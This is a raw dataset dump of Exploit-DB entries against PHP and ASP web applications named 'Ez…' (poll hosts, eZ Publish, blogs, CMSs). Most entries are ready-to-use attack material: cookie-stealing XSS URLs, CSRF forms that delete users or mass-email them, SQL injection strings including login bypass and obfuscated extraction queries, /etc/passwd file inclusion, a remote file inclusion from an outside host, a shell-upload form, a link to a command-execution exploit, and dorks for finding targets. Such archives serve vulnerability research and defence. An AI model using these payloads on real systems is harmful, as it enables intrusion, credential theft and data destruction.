deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10439
Description: Ez Poll Hoster - Multiple Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-14
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: Ez Poll Hoster Multiple XSS and XSRF Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Ez Poll Hoster
[#] Version: the only one there is
[#] Platform: PHP
[#] Link: http://www.scriptsez.net/?action=details&cat=Polls%20and%20Voting&id=[PII_REDACTED]
[#] Price: 15 USD
[#] Vulnerability: Multiple XSS and XSRF Vulnerabilities
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--User panel
 |  |--XSS in user panel
 |  |--Delete poll by name
 |
 |--Admin panel
    |--XSS in admin panel
    |--Delete user by name
    |--Email all users

[#]User panel

[-]XSS in user panel

[POC----------------------------------------------------------------------------------------------]
http://localhost/eph/index.php?action=code&pid=[XSS]
[POC----------------------------------------------------------------------------------------------]

[-]Delete poll by name

[POC----------------------------------------------------------------------------------------------]
http://localhost/eph/index.php?action=delete_poll&pid=[POLL
NAME]&do=true&is_js_confirmed=1
[POC----------------------------------------------------------------------------------------------]

[#]Admin panel

[-]XSS in admin panel

[POC----------------------------------------------------------------------------------------------]
http://localhost/eph/profile.php?action=view&uid=[XSS]
[POC----------------------------------------------------------------------------------------------]

[-]Delete user by name

[POC----------------------------------------------------------------------------------------------]
http://localhost/eph/admin.php?action=manage&do=delete&uid=[USER
NAME]&is_js_confirmed=1
[POC----------------------------------------------------------------------------------------------]

[-]Email all users

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/eph/admin.php?action=email&do=true"
method="post">
  <input type="hidden" name="subject" value="this is my subject">
  <input type="hidden" name="message" value="this is my message">
  <input type="submit" name="submit" value="Submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#] EOF
Exploit-DB #34342
Description: Ez Poll Hoster - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-14
Author: Milos Zivanovic

Exploit:
source: https://www.securityfocus.com/bid/41742/info

Ez Poll Hoster is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

The following example URIs are available:

http://www.example.com/eph/index.php?action=code&pid=[XSS]

http://www.example.com/eph/profile.php?action=view&uid=[XSS]
Exploit-DB #22607
Description: EZ Publish 2.2 - 'index.php' IMG Tag Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-05-16
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/7616/info

A cross-site scripting vulnerability has been reported for eZ publish. Specifically, eZ publish does not sufficiently sanitize user-supplied input supplied to the 'index.php' script.

This may allow for theft of cookie-based authentication credentials and other attacks. 

http://www.example.com/index.php/article/articleview/<img%20src="javascript:alert(document.cookie)">
Exploit-DB #22491
Description: EZ Publish 2.2.7/3.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2003-04-15
Author: gregory Le Bras

Exploit:
source: https://www.securityfocus.com/bid/7348/info

Several cross site scripting vulnerabilities have been reported for eZ Publish. These vulnerabilities are due to insufficient sanitization of user-supplied data submitted to eZ Publish.

Exploitation may allow theft of cookie-based authentication credentials or other attacks. 

http://[target]/index.php/content/search/?SectionID=3&SearchText=[hostile_code]
http://[target]/index.php/[any_section]/">[hostile_code]<
http://[target]/index.php/"><script>[hostile_code]<
Exploit-DB #22492
Description: EZ Publish 2.2.7/3.0 - Multiple Full Path Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2003-04-15
Author: gregory Le Bras

Exploit:
source: https://www.securityfocus.com/bid/7349/info

Several path disclosure vulnerabilities have been reported for eZ Publish. An attacker can exploit this vulnerability by making a HTTP request for any of the affected pages. This may result in a condition where path information is returned to the attacker. 

http://[target]/kernel/class/delete.php
http://[target]/kernel/classes/ezrole.php
Exploit-DB #7421
Description: EZ Publish 3.9.0/3.9.5/3.10.1 - Command Execution (Admin Required)
Type: webapps
Platform: php
Date: 2008-12-11
Author: s4avrd0w

Exploit:
/*
    eZ Publish OS Commanding executing exploit by s4avrd0w [s4avrd0w@p0c.ru]
    Versions affected 3.x
 
    * tested on version 3.9.0, 3.9.5, 3.10.1
 
    usage:  
 
    # ./eZPublish_abuse_of_functionality_zero_day -u=username -p=password -s=EZPublish_server
 
    The options are required:
 
    -u Login of the exists admin on eZ Publish
    -p Admin password on eZ Publish
    -s Target eZ Publish admin interface
 
    example:
 
    # ./eZPublish_abuse_of_functionality_zero_day -u=toor -p=P@ssw0rd -s=http://127.0.0.1/ezwebin_site_admin/
    [+] Exploit successfully sending
    [+] For OS Commanding executing go to: http://127.0.0.1/ezinfo/about?cmd=<OScommand>
*/

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7421.zip (2008-eZPublish_abuse_of_functionality_zero_day.zip)

# milw0rm.com [2008-12-11]
Exploit-DB #37024
Description: EZ Publish 4.x 'ezjscore' Module - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-29
Author: Yann MICHARD

Exploit:
source: https://www.securityfocus.com/bid/52807/info

eZ Publish is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

eZ Publish 4.6 is vulnerable; other versions may also be affected. 

http://www.example.com/ezjscore/call<img%20src%3Dlien%20onerror%3Dalert(document.cookie)>/ezjsc:time
Exploit-DB #7190
Description: Ez Ringtone Manager - Multiple Remote File Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2008-11-22
Author: b3hz4d

Exploit:
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +            Ez Ringtone Manager Multiple Vulnerabilities            +
        +                                                                    +
        +                      Discovered by b3hz4d                          +
        +                                                                    +
        +                      WwW.DeltaHacking.Net                          +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                  

                              APA Center of Yazd University   
                                 (https://www.ircert.cc)    

		
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE   : 22 nov 2008
SITE   : WwW.DeltaHacking.Net


#####################################################

APPLICATION  : Ez Ringtone Manager
DOWNLOAD(10$): http://www.scriptsez.net/?action=details&cat=Music%20Libraries&id=[PII_REDACTED]
VENDOR       : http://www.scriptsez.net/
DEMO         : http://demo.scriptsez.net/ringtones/demo.html

#####################################################


[+] vuln    : ./main.php
              ./template.php


               vulnerability is in main.php that included in template.php


[1] Remote File Disclosure:

[~] Exploit : http://victim.com/ringtones/main.php?action=detail&id=../admin.php
              http://victim.com/ringtones/template.php?action=detail&id=../admin.php

[2] Local File Inclusion:

[~] Exploit : http://victim.com/ringtones/main.php?action=detail&id=../../../../../../../../../../../../../etc/passwd
              http://victim.com/ringtones/template.php?action=detail&id=../../../../../../../../../../../../../etc/passwd

##########################################################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & snoop-security.com #

##########################################################################################################

# milw0rm.com [2008-11-22]
Exploit-DB #22009
Description: EZ Systems HTTPBench 1.1 - Information Disclosure
Type: webapps
Platform: php
Date: 2002-11-11
Author: Tacettin Karadeniz

Exploit:
source: https://www.securityfocus.com/bid/6153/info

An information disclosure vulnerability has been reported for httpbench. Reportedly, httpbench may disclose the contents of web server readable files to remote attackers.

Information obtained in this manner may be used to launch further, destructive attacks against a vulnerable system. 

http://www.web_sitesi/ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1
Exploit-DB #8487
Description: EZ Webitor - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-20
Author: snakespc

Exploit:
-------------------------AllaH AkbaR-------------------------------
ezwebitor  (Auth Bypass) Remote Sql Injection
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:
http://www.ezwebitor.com
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
http://www.ezwebitor.com/demo_standard/ezw/login.php
Username:   ' or '1=1
Password:    ' or '1=1
-------------------------SNAKES TEAM-------------------------------------
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::
Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-04-20]
Exploit-DB #8128
Description: EZ-Blog beta1 - Delete All Posts / SQL Injection
Type: webapps
Platform: php
Date: 2009-03-02
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******


Application:      EZ-Blog
                         http://sourceforge.net/projects/ez-blog/
Version:            Beta 1
Bug:                 * Multiple SQL Injection
Exploitation:     Remote
Date:                1 Mar 2009
Discovered by: Salvatore "drosophila" Fresta
Author:             Salvatore "drosophila" Fresta
                         e-mail: drosophilaxxx@gmail.com
              	

*************************************************

- BUGS

SQL Injection:

	Requisites: magic_quotes_gpc = off

	This is a crazy application because it not
	require authentication for posting, deleting,
	etc. and it is entirely vulnerable to SQL
	Injection, as follows:
	
	http://site/path/public/view.php?storyid=-1' UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10%23
	
	There aren't hight reserved information on the
	database, but it is possible to cause inconvenience.
	The following injection allow to delete all
	posts:
	
	<form action="http://site/path/admin/remove.php" method="POST">
	    <input type="hidden" name="kill" value="1'or'1'='1">
	    <input type="hidden" name="confirm" value="1">
	    <input type="hidden" name="rm" value="true">
	    <input type="submit" value="Exploit">
	</form>

# milw0rm.com [2009-03-02]
Exploit-DB #14415
Description: EZ-osCommerce 3.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-20
Author: indoushka

Exploit:
====================================================
EZ-Oscommerce 3.1 Remote File Upload
====================================================

######################################################################## 
# Vendor: http://www.ezosc.com
# Date: 2010-05-27 
# Author : indoushka 
# Thanks to : Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com ! 
# Contact : indoushka@hotmail.com 
# Home : www.arab-blackhat.co.cc
# Dork :Powered by osCommerce | Customized by EZ-Oscommerce
# Bug  : Remote File Upload 
# Tested on : windows SP2 Fran?ais V.(Pnx2 2.0) 
######################################################################## 
                                                                                                                                                                                                
# Exploit By indoushka 


<html><head><title> EZ-Oscommerce 3.1 - Remote File Upload </title></head> 

<br><br><u>UPLOAD FILE:</u><br> 

<form name="file" action="http://site/admin/file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data"> 

<input type="file" name="file_1"><br> 

<input name="submit" type="submit" value="   Upload   " > 

</form> 

<br><u>CREATE FILE:</u><br> 

<form name="new_file" action="http://site/admin/file_manager.php/login.php?action=save" method="post"> 

FILE NAME:<br> 

<input type="text" name="filename">  (ex. shell.php)<br>FILE CONTENTS:<br> 

<textarea name="file_contents" wrap="soft" cols="70" rows="10">&lt;/textarea&gt; 

<input name="submit" type="submit" value="   Save   " > 

</form> 

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ===========================
all my friend :
His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net * MR.SoOoFe * ThE g0bL!N
(cr4wl3r Let the poor live ) * RoAd_KiLlEr * AnGeL25dZ * ViRuS_Ra3cH
---------------------------------------------------------------------------------------------------------------------------------
Exploit-DB #2620
Description: EZ-Ticket 0.0.1 - 'common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-22
Author: the master

Exploit:
########################################################################
#  EZ-Ticket v0.0.1  Remote File Inclusion Vulnerability
#
#  Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download
#
#  Found By: the master (nidhal)
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/common.php?ezt_root_path=http://cmd.gif?
########################################################################

# milw0rm.com [2006-10-22]
Exploit-DB #34736
Description: EZArticles - 'articles.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43483/info

EZArticles is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/ezarticles/articles_1/articles.php?id=6&title=1<script>alert[PII_REDACTED]01)</script>
Exploit-DB #42631
Description: EzBan 5.3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: EzBan - Banner Management System 5.3 - SQL Injection
# Dork: N/A
# Date: 07.09.2017
# Vendor Homepage: http://www.mysticdreams.net/
# Software Link: http://www.mysticdreams.net/resources/ezban_demo.zip
# Demo: http://www.mysticdreams.net/products/ezban/
# Version: 5.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# Sql
# http://localhost/[PATH]/ezban.php?id=[SQL]&action=show
# 100++aND(/*!00002SelEcT*/+0x30783331+/*!00002frOM*/+(/*!00002SelEcT*/+cOUNT(*),/*!00002cOnCaT*/((/*!00002sELECT*/(/*!00002sELECT*/+/*!00002cOnCaT*/(cAST(dATABASE()+aS+/*!00002cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00002FRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00002wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!00002rAND*/(0)*2))x+/*!00002FRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00002aNd*/+1=1&action=show
# 
# Etc...
# # # # #
Exploit-DB #23072
Description: Ezboard - 'invitefriends.php3' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-09-01
Author: David F. Madrid

Exploit:
source: https://www.securityfocus.com/bid/8519/info

The 'invitefriends.php3' script of Ezboard has been reported prone to cross-site scripting attacks. The issue occurs due to a lack of sufficient sanitization performed on user-supplied URI parameters. This issue could be exploited to cause hostile HTML and script code to be rendered in the browser of a user who is enticed to visit a malicious link to the vulnerable script.

It should be noted that it is currently unknown which versions of Ezboard are affected by this vulnerability. This bid will be updated as further information is made available. 

http://www.example.com/invitefriends.php3?action=http://www.server.org&yourName=%22%3E%3Cp%3E%3Cb%3EYou%20must%20enter%20your%20password%20to%20invite%20a%20friend%3C/b%3E%3Cp%3E%3Cinput%20type=password%20name=pass%3E%3
Cp%3E%3Cb%3EEnter%20your%20friend%20address%3C/b%3E%3Cp%3E%3Cinput%20type=text%20name=mail%3E%3C/form%3E%3C!--
Exploit-DB #23744
Description: EZBoard 7.3 - Font Tag HTML Injection
Type: webapps
Platform: php
Date: 2004-02-23
Author: Cheng Peng Su

Exploit:
source: https://www.securityfocus.com/bid/9725/info

ezboard is prone to an HTML injection vulnerability. An attacker may exploit this issue by including hostile HTML and script code encapsulated in [font] tags of posts to the bulletin board. This code may be rendered in the web browser of a user who views these areas of the site. This would occur in the security context of the site hosting ezboard.

[font color=red;background:url(javascript:alert(document.cookie))]Big Exploit![/font]
[font face=Verdana;background:url(javascript:alert(document.cookie))]Big Exploit![/font]
Exploit-DB #29610
Description: Ezboo Webstats 3.03 - Administrative Authentication Bypass
Type: webapps
Platform: php
Date: 2007-02-16
Author: sn0oPy

Exploit:
source: https://www.securityfocus.com/bid/22590/info

Ezboo webstats is prone to a vulnerability that will let attackers gain administrative access to the application because it fails to properly validate access. 

http://www.example.com/ezwebstats/update.php
http://www.example.com/ezwebstats/config.php
Exploit-DB #29450
Description: Ezboxx 0.7.6 Beta - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-12
Author: Doron P

Exploit:
source: https://www.securityfocus.com/bid/22029/info

Ezboxx is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. The vulnerabilities include an SQL-injection issue, multiple cross-site scripting issues, and a path-disclosure issue.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve sensitive information, access or modify data, or exploit latent vulnerability in the underlying database implementation.

Ezboxx Portal System Beta v 0.7.6 and prior versions are vulnerable. 

An attacker can exploit this issue by enticing an unsuspecting user into following a malicious URI.

The following proof-of-concept URIs are available:
http://www.example.com/ezboxx/custom/piczoom.asp?pic=[XSS]
http://www.example.com/ezboxx/boxx/user-upload.asp?nocatname=[XSS] - Login required
http://www.example.com/ezboxx/indexes/newscomments.asp?iid=[XSS]

To exploit an SQL-injection issue:

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:
http://www.example.com/ezboxx/boxx/ShowAppendix.asp?iid=convert(int,(select+TOP+1+username+from+members))

To exploit a path-disclosure issue:

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:
http://www.example.com/ezboxx/boxx/knowledgebase.asp?iid=549&Cat=notnumber
http://www.example.com/ezboxx/boxx/knowledgebase.asp?iid=1&Cat=notnumber
Exploit-DB #5819
Description: ezcms 1.2 - Blind SQL Injection / Authentication Bypass
Type: webapps
Platform: php
Date: 2008-06-14
Author: t0pP8uZz

Exploit:
-[*]+================================================================================+[*]-
-[*]+		       EZCMS <= 1.2 Multiple Remote Vulnerabilitys	             +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 19 MAY 2008
[*] Script Download: http://eztechhelp.com
[*] DORK google/altavista: "Powered by EZCMS"



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

	EZCMS (all versions prior to date) suffers from 2 remote vulnerabilitys.
	
	One of these being a BLIND Sql Injection in "index.php" and the "page" variable is injectable.
	see example below.

	The second one being a insecure filemanager, the filemanager is hidden away in admin, the devs
	probarly thought no one would find it.. but here i am telling you  ;)  
	see more below.



[*] Blind SQL Injection:

	http://site.com/index.php?page=1 and 1=1
	http://site.com/index.php?page=1 and 1=2



[*] Arbitrary Remote File Manager Access:

	http://site.com/ezcms/admin/filemanager/



[*] NOTE/TIP: 

	no exploit coded for the blind injection, because no point due to you can get a easy shell
	through the file manager, althou if your curious, use SQLMap. (check sourceforge)

	the "File Manager" is a very easy to use bug, just browse to site.com/ezcms/admin/filemanager/
	site.com being the actual site and you can upload/edit/delete/upload/move  files/folders.



[*] GREETZ: 

	milw0rm.com, h4ck-y0u.org, CipherCrew !



[-] peace, 

	t0pP8uZz



-[*]+================================================================================+[*]-
-[*]+		       EZCMS <= 1.2 Multiple Remote Vulnerabilitys	             +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-14]